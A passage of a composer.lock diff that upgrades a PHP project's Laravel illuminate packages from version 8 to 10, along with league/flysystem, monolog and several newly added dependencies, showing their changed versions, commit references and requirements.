"^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" + }, + "conflict": { + "carbonphp/carbon-doctrine-types": ">=3.0", + "doctrine/dbal": ">=4.0" }, "suggest": { - "doctrine/dbal": "Required to rename columns and drop SQLite columns (^2.13.3|^3.1.4).", - "fakerphp/faker": "Required to use the eloquent factory builder (^1.9.1).", - "illuminate/console": "Required to use the database commands (^8.0).", - "illuminate/events": "Required to use the observers with Eloquent (^8.0).", - "illuminate/filesystem": "Required to use the migrations (^8.0).", - "illuminate/pagination": "Required to paginate the result set (^8.0).", - "symfony/finder": "Required to use Eloquent model factories (^5.4)." + "doctrine/dbal": "Required to rename columns and drop SQLite columns (^3.5.1).", + "ext-filter": "Required to use the Postgres database driver.", + "fakerphp/faker": "Required to use the eloquent factory builder (^1.21).", + "illuminate/console": "Required to use the database commands (^10.0).", + "illuminate/events": "Required to use the observers with Eloquent (^10.0).", + "illuminate/filesystem": "Required to use the migrations (^10.0).", + "illuminate/pagination": "Required to paginate the result set (^10.0).", + "symfony/finder": "Required to use Eloquent model factories (^6.2)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1516,34 +2138,34 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-08-31T16:16:06+00:00" + "time": "2024-05-13T17:20:36+00:00" }, { "name": "illuminate/encryption", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/encryption.git", - "reference": "00280dc6aa204b1b6c6d4bf75936d122bd856c15" + "reference": "0ab9942a891f82f927d03abb9a7320b89262f2a2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/encryption/zipball/00280dc6aa204b1b6c6d4bf75936d122bd856c15", - "reference": "00280dc6aa204b1b6c6d4bf75936d122bd856c15", + "url": "https://api.github.com/repos/illuminate/encryption/zipball/0ab9942a891f82f927d03abb9a7320b89262f2a2", + "reference": "0ab9942a891f82f927d03abb9a7320b89262f2a2", "shasum": "" }, "require": { - "ext-json": "*", + "ext-hash": "*", "ext-mbstring": "*", "ext-openssl": "*", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1567,35 +2189,35 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-03-14T18:47:47+00:00" + "time": "2023-11-21T16:21:31+00:00" }, { "name": "illuminate/events", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/events.git", - "reference": "b7f06cafb6c09581617f2ca05d69e9b159e5a35d" + "reference": "a931bfa88edc6ac52c9abbfd7b769343d321d3eb" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/events/zipball/b7f06cafb6c09581617f2ca05d69e9b159e5a35d", - "reference": "b7f06cafb6c09581617f2ca05d69e9b159e5a35d", + "url": "https://api.github.com/repos/illuminate/events/zipball/a931bfa88edc6ac52c9abbfd7b769343d321d3eb", + "reference": "a931bfa88edc6ac52c9abbfd7b769343d321d3eb", "shasum": "" }, "require": { - "illuminate/bus": "^8.0", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/bus": "^10.0", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1622,48 +2244,53 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2021-09-15T14:32:50+00:00" + "time": "2024-03-04T14:41:04+00:00" }, { "name": "illuminate/filesystem", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/filesystem.git", - "reference": "73db3e9a233ed587ba54f52ab8580f3c7bc872b2" + "reference": "592fb581a52fba43bf78c2e4b22db540c9f9f149" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/filesystem/zipball/73db3e9a233ed587ba54f52ab8580f3c7bc872b2", - "reference": "73db3e9a233ed587ba54f52ab8580f3c7bc872b2", + "url": "https://api.github.com/repos/illuminate/filesystem/zipball/592fb581a52fba43bf78c2e4b22db540c9f9f149", + "reference": "592fb581a52fba43bf78c2e4b22db540c9f9f149", "shasum": "" }, "require": { - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/finder": "^5.4" + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/finder": "^6.2" }, "suggest": { + "ext-fileinfo": "Required to use the Filesystem class.", "ext-ftp": "Required to use the Flysystem FTP driver.", + "ext-hash": "Required to use the Filesystem class.", "illuminate/http": "Required for handling uploaded files (^7.0).", - "league/flysystem": "Required to use the Flysystem local and FTP drivers (^1.1).", - "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^1.0).", - "league/flysystem-cached-adapter": "Required to use the Flysystem cache (^1.0).", - "league/flysystem-sftp": "Required to use the Flysystem SFTP driver (^1.0).", + "league/flysystem": "Required to use the Flysystem local driver (^3.0.16).", + "league/flysystem-aws-s3-v3": "Required to use the Flysystem S3 driver (^3.0).", + "league/flysystem-ftp": "Required to use the Flysystem FTP driver (^3.0).", + "league/flysystem-sftp-v3": "Required to use the Flysystem SFTP driver (^3.0).", "psr/http-message": "Required to allow Storage::put to accept a StreamInterface (^1.0).", - "symfony/filesystem": "Required to enable support for relative symbolic links (^5.4).", - "symfony/mime": "Required to enable support for guessing extensions (^5.4)." + "symfony/filesystem": "Required to enable support for relative symbolic links (^6.2).", + "symfony/mime": "Required to enable support for guessing extensions (^6.2)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { + "files": [ + "functions.php" + ], "psr-4": { "Illuminate\\Filesystem\\": "" } @@ -1684,31 +2311,31 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-01-15T15:00:40+00:00" + "time": "2024-03-11T21:45:53+00:00" }, { "name": "illuminate/hashing", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/hashing.git", - "reference": "2617f4de8d0150a3f8641b086fafac8c1e0cdbf2" + "reference": "7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/hashing/zipball/2617f4de8d0150a3f8641b086fafac8c1e0cdbf2", - "reference": "2617f4de8d0150a3f8641b086fafac8c1e0cdbf2", + "url": "https://api.github.com/repos/illuminate/hashing/zipball/7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286", + "reference": "7ab4eae83a55aaef1c2ba5c06ea5bfd46bee1286", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1732,41 +2359,43 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2021-10-22T13:20:42+00:00" + "time": "2023-10-25T19:32:34+00:00" }, { "name": "illuminate/http", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/http.git", - "reference": "38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4" + "reference": "0dd2ee794017c7f5e811cf8fb0dc74c646918d30" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/http/zipball/38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4", - "reference": "38b8b0c8ca5d5231df9c515f3a3e7aac5f0da9f4", + "url": "https://api.github.com/repos/illuminate/http/zipball/0dd2ee794017c7f5e811cf8fb0dc74c646918d30", + "reference": "0dd2ee794017c7f5e811cf8fb0dc74c646918d30", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/session": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/http-foundation": "^5.4", - "symfony/http-kernel": "^5.4", - "symfony/mime": "^5.4" + "ext-filter": "*", + "fruitcake/php-cors": "^1.2", + "guzzlehttp/uri-template": "^1.0", + "illuminate/collections": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/session": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/http-foundation": "^6.4", + "symfony/http-kernel": "^6.2", + "symfony/mime": "^6.2" }, "suggest": { "ext-gd": "Required to use Illuminate\\Http\\Testing\\FileFactory::image().", - "guzzlehttp/guzzle": "Required to use the HTTP Client (^6.5.5|^7.0.1)." + "guzzlehttp/guzzle": "Required to use the HTTP Client (^7.5)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1790,29 +2419,78 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-06-10T18:50:29+00:00" + "time": "2024-02-21T15:19:17+00:00" + }, + { + "name": "illuminate/log", + "version": "v10.48.12", + "source": { + "type": "git", + "url": "https://github.com/illuminate/log.git", + "reference": "64bd048e4a793e4bfe2793be152c662f1c08634c" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/illuminate/log/zipball/64bd048e4a793e4bfe2793be152c662f1c08634c", + "reference": "64bd048e4a793e4bfe2793be152c662f1c08634c", + "shasum": "" + }, + "require": { + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "monolog/monolog": "^3.0", + "php": "^8.1" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "10.x-dev" + } + }, + "autoload": { + "psr-4": { + "Illuminate\\Log\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Taylor Otwell", + "email": "taylor@laravel.com" + } + ], + "description": "The Illuminate Log package.", + "homepage": "https://laravel.com", + "support": { + "issues": "https://github.com/laravel/framework/issues", + "source": "https://github.com/laravel/framework" + }, + "time": "2024-01-24T14:29:17+00:00" }, { "name": "illuminate/macroable", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/macroable.git", - "reference": "aed81891a6e046fdee72edd497f822190f61c162" + "reference": "dff667a46ac37b634dcf68909d9d41e94dc97c27" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/macroable/zipball/aed81891a6e046fdee72edd497f822190f61c162", - "reference": "aed81891a6e046fdee72edd497f822190f61c162", + "url": "https://api.github.com/repos/illuminate/macroable/zipball/dff667a46ac37b634dcf68909d9d41e94dc97c27", + "reference": "dff667a46ac37b634dcf68909d9d41e94dc97c27", "shasum": "" }, "require": { - "php": "^7.3|^8.0" + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1836,33 +2514,33 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2021-11-16T13:57:03+00:00" + "time": "2023-06-05T12:46:42+00:00" }, { "name": "illuminate/pagination", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/pagination.git", - "reference": "16fe8dc35f9d18c58a3471469af656a02e9ab692" + "reference": "616874b9607ff35925347e1710a8b5151858cdf2" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/pagination/zipball/16fe8dc35f9d18c58a3471469af656a02e9ab692", - "reference": "16fe8dc35f9d18c58a3471469af656a02e9ab692", + "url": "https://api.github.com/repos/illuminate/pagination/zipball/616874b9607ff35925347e1710a8b5151858cdf2", + "reference": "616874b9607ff35925347e1710a8b5151858cdf2", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "ext-filter": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1886,31 +2564,31 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-06-27T13:26:06+00:00" + "time": "2024-04-11T14:31:05+00:00" }, { "name": "illuminate/pipeline", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/pipeline.git", - "reference": "23aeff5b26ae4aee3f370835c76bd0f4e93f71d2" + "reference": "f802187e917a171332cc90f8c1a102939c57405d" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/pipeline/zipball/23aeff5b26ae4aee3f370835c76bd0f4e93f71d2", - "reference": "23aeff5b26ae4aee3f370835c76bd0f4e93f71d2", + "url": "https://api.github.com/repos/illuminate/pipeline/zipball/f802187e917a171332cc90f8c1a102939c57405d", + "reference": "f802187e917a171332cc90f8c1a102939c57405d", "shasum": "" }, "require": { - "illuminate/contracts": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "illuminate/contracts": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -1934,49 +2612,50 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2021-03-26T18:39:16+00:00" + "time": "2023-12-19T14:47:26+00:00" }, { "name": "illuminate/queue", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/queue.git", - "reference": "0023daabf67743f7a2bd8328ca2b5537d93e4ae7" + "reference": "ee2446c88027cbe2a4d9f286ef66589fdf9f61ed" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/queue/zipball/0023daabf67743f7a2bd8328ca2b5537d93e4ae7", - "reference": "0023daabf67743f7a2bd8328ca2b5537d93e4ae7", + "url": "https://api.github.com/repos/illuminate/queue/zipball/ee2446c88027cbe2a4d9f286ef66589fdf9f61ed", + "reference": "ee2446c88027cbe2a4d9f286ef66589fdf9f61ed", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/console": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/database": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/pipeline": "^8.0", - "illuminate/support": "^8.0", - "laravel/serializable-closure": "^1.0", - "opis/closure": "^3.6", - "php": "^7.3|^8.0", - "ramsey/uuid": "^4.2.2", - "symfony/process": "^5.4" + "illuminate/collections": "^10.0", + "illuminate/console": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/database": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/pipeline": "^10.0", + "illuminate/support": "^10.0", + "laravel/serializable-closure": "^1.2.2", + "php": "^8.1", + "ramsey/uuid": "^4.7", + "symfony/process": "^6.2" }, "suggest": { - "aws/aws-sdk-php": "Required to use the SQS queue driver and DynamoDb failed job storage (^3.198.1).", + "aws/aws-sdk-php": "Required to use the SQS queue driver and DynamoDb failed job storage (^3.235.5).", + "ext-filter": "Required to use the SQS queue worker.", + "ext-mbstring": "Required to use the database failed job providers.", "ext-pcntl": "Required to use all features of the queue worker.", + "ext-pdo": "Required to use the database queue worker.", "ext-posix": "Required to use all features of the queue worker.", - "illuminate/redis": "Required to use the Redis queue driver (^8.0).", + "illuminate/redis": "Required to use the Redis queue driver (^10.0).", "pda/pheanstalk": "Required to use the Beanstalk queue driver (^4.0)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -2000,39 +2679,40 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-07-21T19:36:12+00:00" + "time": "2024-03-11T21:46:09+00:00" }, { "name": "illuminate/session", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/session.git", - "reference": "9c9988d7229d888c098eebbbb9fcb8c68580411c" + "reference": "a095707b83327e27ba292c9c4d2413888b1f517c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/session/zipball/9c9988d7229d888c098eebbbb9fcb8c68580411c", - "reference": "9c9988d7229d888c098eebbbb9fcb8c68580411c", + "url": "https://api.github.com/repos/illuminate/session/zipball/a095707b83327e27ba292c9c4d2413888b1f517c", + "reference": "a095707b83327e27ba292c9c4d2413888b1f517c", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0", - "symfony/finder": "^5.4", - "symfony/http-foundation": "^5.4" + "ext-ctype": "*", + "ext-session": "*", + "illuminate/collections": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1", + "symfony/finder": "^6.2", + "symfony/http-foundation": "^6.4" }, "suggest": { - "illuminate/console": "Required to use the session:table command (^8.0)." + "illuminate/console": "Required to use the session:table command (^10.0)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -2056,48 +2736,51 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-01-13T18:28:06+00:00" + "time": "2023-12-29T21:53:12+00:00" }, { "name": "illuminate/support", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/support.git", - "reference": "1c79242468d3bbd9a0f7477df34f9647dde2a09b" + "reference": "263f389d81488c237846b69469f91387ca2729f3" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/support/zipball/1c79242468d3bbd9a0f7477df34f9647dde2a09b", - "reference": "1c79242468d3bbd9a0f7477df34f9647dde2a09b", + "url": "https://api.github.com/repos/illuminate/support/zipball/263f389d81488c237846b69469f91387ca2729f3", + "reference": "263f389d81488c237846b69469f91387ca2729f3", "shasum": "" }, "require": { - "doctrine/inflector": "^1.4|^2.0", - "ext-json": "*", + "doctrine/inflector": "^2.0", + "ext-ctype": "*", + "ext-filter": "*", "ext-mbstring": "*", - "illuminate/collections": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/macroable": "^8.0", - "nesbot/carbon": "^2.53.1", - "php": "^7.3|^8.0", - "voku/portable-ascii": "^1.6.1" + "illuminate/collections": "^10.0", + "illuminate/conditionable": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/macroable": "^10.0", + "nesbot/carbon": "^2.67", + "php": "^8.1", + "voku/portable-ascii": "^2.0" }, "conflict": { "tightenco/collect": "<5.5.33" }, "suggest": { - "illuminate/filesystem": "Required to use the composer class (^8.0).", - "league/commonmark": "Required to use Str::markdown() and Stringable::markdown() (^1.3|^2.0.2).", - "ramsey/uuid": "Required to use Str::uuid() (^4.2.2).", - "symfony/process": "Required to use the composer class (^5.4).", - "symfony/var-dumper": "Required to use the dd function (^5.4).", + "illuminate/filesystem": "Required to use the composer class (^10.0).", + "league/commonmark": "Required to use Str::markdown() and Stringable::markdown() (^2.0.2).", + "ramsey/uuid": "Required to use Str::uuid() (^4.7).", + "symfony/process": "Required to use the composer class (^6.2).", + "symfony/uid": "Required to use Str::ulid() (^6.2).", + "symfony/var-dumper": "Required to use the dd function (^6.2).", "vlucas/phpdotenv": "Required to use the Env class and env helper (^5.4.1)." }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -2124,37 +2807,37 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-09-21T21:30:03+00:00" + "time": "2024-05-16T21:33:51+00:00" }, { "name": "illuminate/view", - "version": "v8.83.27", + "version": "v10.48.12", "source": { "type": "git", "url": "https://github.com/illuminate/view.git", - "reference": "5e73eef48d9242532f81fadc14c816a01bfb1388" + "reference": "76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/illuminate/view/zipball/5e73eef48d9242532f81fadc14c816a01bfb1388", - "reference": "5e73eef48d9242532f81fadc14c816a01bfb1388", + "url": "https://api.github.com/repos/illuminate/view/zipball/76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7", + "reference": "76a1405bc3e1d0a19e8d2db3bd5b991ed10b31f7", "shasum": "" }, "require": { - "ext-json": "*", - "illuminate/collections": "^8.0", - "illuminate/container": "^8.0", - "illuminate/contracts": "^8.0", - "illuminate/events": "^8.0", - "illuminate/filesystem": "^8.0", - "illuminate/macroable": "^8.0", - "illuminate/support": "^8.0", - "php": "^7.3|^8.0" + "ext-tokenizer": "*", + "illuminate/collections": "^10.0", + "illuminate/container": "^10.0", + "illuminate/contracts": "^10.0", + "illuminate/events": "^10.0", + "illuminate/filesystem": "^10.0", + "illuminate/macroable": "^10.0", + "illuminate/support": "^10.0", + "php": "^8.1" }, "type": "library", "extra": { "branch-alias": { - "dev-master": "8.x-dev" + "dev-master": "10.x-dev" } }, "autoload": { @@ -2178,7 +2861,7 @@ "issues": "https://github.com/laravel/framework/issues", "source": "https://github.com/laravel/framework" }, - "time": "2022-04-14T13:47:10+00:00" + "time": "2024-05-21T17:37:01+00:00" }, { "name": "karriere/pdf-merge", @@ -2293,6 +2976,64 @@ }, "time": "2023-11-30T14:09:05+00:00" }, + { + "name": "laravel/prompts", + "version": "v0.1.23", + "source": { + "type": "git", + "url": "https://github.com/laravel/prompts.git", + "reference": "9bc4df7c699b0452c6b815e64a2d84b6d7f99400" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/laravel/prompts/zipball/9bc4df7c699b0452c6b815e64a2d84b6d7f99400", + "reference": "9bc4df7c699b0452c6b815e64a2d84b6d7f99400", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "illuminate/collections": "^10.0|^11.0", + "php": "^8.1", + "symfony/console": "^6.2|^7.0" + }, + "conflict": { + "illuminate/console": ">=10.17.0 <10.25.0", + "laravel/framework": ">=10.17.0 <10.25.0" + }, + "require-dev": { + "mockery/mockery": "^1.5", + "pestphp/pest": "^2.3", + "phpstan/phpstan": "^1.11", + "phpstan/phpstan-mockery": "^1.1" + }, + "suggest": { + "ext-pcntl": "Required for the spinner to be animated." + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-main": "0.1.x-dev" + } + }, + "autoload": { + "files": [ + "src/helpers.php" + ], + "psr-4": { + "Laravel\\Prompts\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "Add beautiful and user-friendly forms to your command-line applications.", + "support": { + "issues": "https://github.com/laravel/prompts/issues", + "source": "https://github.com/laravel/prompts/tree/v0.1.23" + }, + "time": "2024-05-27T13:53:20+00:00" + }, { "name": "laravel/serializable-closure", "version": "v1.3.3", @@ -2355,54 +3096,55 @@ }, { "name": "league/flysystem", - "version": "1.1.10", + "version": "3.28.0", "source": { "type": "git", "url": "https://github.com/thephpleague/flysystem.git", - "reference": "3239285c825c152bcc315fe0e87d6b55f5972ed1" + "reference": "e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/3239285c825c152bcc315fe0e87d6b55f5972ed1", - "reference": "3239285c825c152bcc315fe0e87d6b55f5972ed1", + "url": "https://api.github.com/repos/thephpleague/flysystem/zipball/e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c", + "reference": "e611adab2b1ae2e3072fa72d62c62f52c2bf1f0c", "shasum": "" }, "require": { - "ext-fileinfo": "*", - "league/mime-type-detection": "^1.3", - "php": "^7.2.5 || ^8.0" + "league/flysystem-local": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" }, "conflict": { - "league/flysystem-sftp": "<1.0.6" + "async-aws/core": "<1.19.0", + "async-aws/s3": "<1.14.0", + "aws/aws-sdk-php": "3.209.31 || 3.210.0", + "guzzlehttp/guzzle": "<7.0", + "guzzlehttp/ringphp": "<1.1.1", + "phpseclib/phpseclib": "3.0.15", + "symfony/http-client": "<5.2" }, "require-dev": { - "phpspec/prophecy": "^1.11.1", - "phpunit/phpunit": "^8.5.8" - }, - "suggest": { - "ext-ftp": "Allows you to use FTP server storage", - "ext-openssl": "Allows you to use FTPS server storage", - "league/flysystem-aws-s3-v2": "Allows you to use S3 storage with AWS SDK v2", - "league/flysystem-aws-s3-v3": "Allows you to use S3 storage with AWS SDK v3", - "league/flysystem-azure": "Allows you to use Windows Azure Blob storage", - "league/flysystem-cached-adapter": "Flysystem adapter decorator for metadata caching", - "league/flysystem-eventable-filesystem": "Allows you to use EventableFilesystem", - "league/flysystem-rackspace": "Allows you to use Rackspace Cloud Files", - "league/flysystem-sftp": "Allows you to use SFTP server storage via phpseclib", - "league/flysystem-webdav": "Allows you to use WebDAV storage", - "league/flysystem-ziparchive": "Allows you to use ZipArchive adapter", - "spatie/flysystem-dropbox": "Allows you to use Dropbox storage", - "srmklive/flysystem-dropbox-v2": "Allows you to use Dropbox storage for PHP 5 applications" + "async-aws/s3": "^1.5 || ^2.0", + "async-aws/simple-s3": "^1.1 || ^2.0", + "aws/aws-sdk-php": "^3.295.10", + "composer/semver": "^3.0", + "ext-fileinfo": "*", + "ext-ftp": "*", + "ext-mongodb": "^1.3", + "ext-zip": "*", + "friendsofphp/php-cs-fixer": "^3.5", + "google/cloud-storage": "^1.23", + "guzzlehttp/psr7": "^2.6", + "microsoft/azure-storage-blob": "^1.1", + "mongodb/mongodb": "^1.2", + "phpseclib/phpseclib": "^3.0.36", + "phpstan/phpstan": "^1.10", + "phpunit/phpunit": "^9.5.11|^10.0", + "sabre/dav": "^4.6.0" }, "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.1-dev" - } - }, "autoload": { "psr-4": { - "League\\Flysystem\\": "src/" + "League\\Flysystem\\": "src" } }, "notification-url": "https://packagist.org/downloads/", @@ -2412,40 +3154,77 @@ "authors": [ { "name": "Frank de Jonge", - "email": "info@frenky.net" + "email": "info@frankdejonge.nl" } ], - "description": "Filesystem abstraction: Many filesystems, one API.", + "description": "File storage abstraction for PHP", "keywords": [ - "Cloud Files", "WebDAV", - "abstraction", "aws", "cloud", - "copy.com", - "dropbox", - "file systems", + "file", "files", "filesystem", "filesystems", "ftp", - "rackspace", - "remote", "s3", "sftp", "storage" ], "support": { "issues": "https://github.com/thephpleague/flysystem/issues", - "source": "https://github.com/thephpleague/flysystem/tree/1.1.10" + "source": "https://github.com/thephpleague/flysystem/tree/3.28.0" }, - "funding": [ + "time": "2024-05-22T10:09:12+00:00" + }, + { + "name": "league/flysystem-local", + "version": "3.28.0", + "source": { + "type": "git", + "url": "https://github.com/thephpleague/flysystem-local.git", + "reference": "13f22ea8be526ea58c2ddff9e158ef7c296e4f40" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/thephpleague/flysystem-local/zipball/13f22ea8be526ea58c2ddff9e158ef7c296e4f40", + "reference": "13f22ea8be526ea58c2ddff9e158ef7c296e4f40", + "shasum": "" + }, + "require": { + "ext-fileinfo": "*", + "league/flysystem": "^3.0.0", + "league/mime-type-detection": "^1.0.0", + "php": "^8.0.2" + }, + "type": "library", + "autoload": { + "psr-4": { + "League\\Flysystem\\Local\\": "" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ { - "url": "https://offset.earth/frankdejonge", - "type": "other" + "name": "Frank de Jonge", + "email": "info@frankdejonge.nl" } ], - "time": "2022-10-04T09:16:37+00:00" + "description": "Local filesystem adapter for Flysystem.", + "keywords": [ + "Flysystem", + "file", + "files", + "filesystem", + "local" + ], + "support": { + "source": "https://github.com/thephpleague/flysystem-local/tree/3.28.0" + }, + "time": "2024-05-06T20:05:52+00:00" }, { "name": "league/mime-type-detection", @@ -2611,42 +3390,41 @@ }, { "name": "monolog/monolog", - "version": "2.9.3", + "version": "3.6.0", "source": { "type": "git", "url": "https://github.com/Seldaek/monolog.git", - "reference": "a30bfe2e142720dfa990d0a7e573997f5d884215" + "reference": "4b18b21a5527a3d5ffdac2fd35d3ab25a9597654" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/Seldaek/monolog/zipball/a30bfe2e142720dfa990d0a7e573997f5d884215", - "reference": "a30bfe2e142720dfa990d0a7e573997f5d884215", + "url": "https://api.github.com/repos/Seldaek/monolog/zipball/4b18b21a5527a3d5ffdac2fd35d3ab25a9597654", + "reference": "4b18b21a5527a3d5ffdac2fd35d3ab25a9597654", "shasum": "" }, "require": { - "php": ">=7.2", - "psr/log": "^1.0.1 || ^2.0 || ^3.0" + 